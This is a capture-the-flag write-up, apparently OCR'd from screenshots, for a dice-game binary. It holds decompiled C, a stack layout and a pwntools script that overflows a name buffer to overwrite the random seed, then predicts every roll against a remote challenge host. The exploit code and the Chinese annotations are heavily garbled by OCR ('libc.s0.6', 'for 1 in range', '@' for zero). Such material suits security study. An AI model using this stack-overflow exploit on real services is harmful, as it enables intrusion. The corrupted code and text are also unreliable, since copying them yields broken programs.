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| char buf[55]; // [rsp+6h] [rbp-56h] ‘ —
char v5; // [rsp+37h] [rbp-19h] ///,v' seediiflbuf {lif£0x40
ssize t v6; // [rsp+38h] [rbp-18h]

|unsigned int seed[2]; // [rsp+40h] [Pbp—th]|
unsigned int v8; // [rsp+4Ch] [rbp-4h]

memset(buf, @, Ox30ulLL);
*(_OQWORD *)seed = time(OLL);
printf("Welcome, let me know your name: ", a2);
fflush(stdout);
v6 = read(®, buf, ©x50ulLL);
if (vb <= 49 )
buf[ve - 1] = @;
printf("Hi, %s. Let's play a game.\n", buf);
fflush(stdout); ‘
[ srand(seed[0]); —» 1#:Hlseed[0] (unsigned int 32{%) ,
v8 = 1; Fr LA 3G i d T
v = 9;
while ( 1)
{
printf("Game %d/50\n", v8);
v5 = sub_A20();
fflush(stdout);
if (vs1=1)
break;
if (v8 == 50 )
{
sub_B28((__int64)buf);
break;

}

++Vv8;

}
puts("Bye bye!™);
return OLL;
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fflush(stdout);

_srand(seed[@]);
v8 = 1;

VS = 0 s
{

printf("Game |%d/50\n", vE);

v5 =|sub_A20() §

fflush(stdout); > J5 AT iR
if ( vS 1=1)

break;

if (Lv8 == 50 P———p 11507 BN 7] /3 5 f 1 ag
Flag((__int64)buf);
break;
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++v8;
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memset(buf, @, ©x30uLL);

*(_QWORD *)seed = time(@LL);

printf(“"Welcome, let me know your name: ", a2);
fflush(stdout);

v6 = read(®@, buf, @x5eulLl);
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AN ER 2] seed R buf A1 ZE I F2 & 0x40, AL R # 68 NF Pt nl LA H 7 55 seed T o FATS ANOx40 £ 5t ol L7 55 21
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-0000000000000050 buf db 55 dup(?)
-0000000000000012 var_19 db ?
-0000000000000018 var_18 dq ?
-0000000000000010 seed dd 2 dup(?)
-00000000P000B008 db ? ; undefined
-0000000000008007 db ? ; undefined
-000000000LOB0RE db ? ; undefined
-0000000000008005 db ? ; undefined
-0000000000000004 var_4 dd ?
+0000000000000000 S db 8 dup(?)
+0000000000000008 I db 8 dup(?)
+000PAPPERAARRA10

from pwn import *
from ctypes import *
context.log_level = "debug"

p=remote("111.198.29.45",59396)
libc = cdll.LoadLibrary("libc.s0.6")

payload = "a" * 0x40 + p64(1)
p.recvuntil("your name: ")
p.sendline(payload)

libc.srand(1)

for 1 in range(50):
num = str{libc.rand()%6+1)
p.recvuntil("point(1~6): ")
p.sendline(str(num))

p.interactive()|
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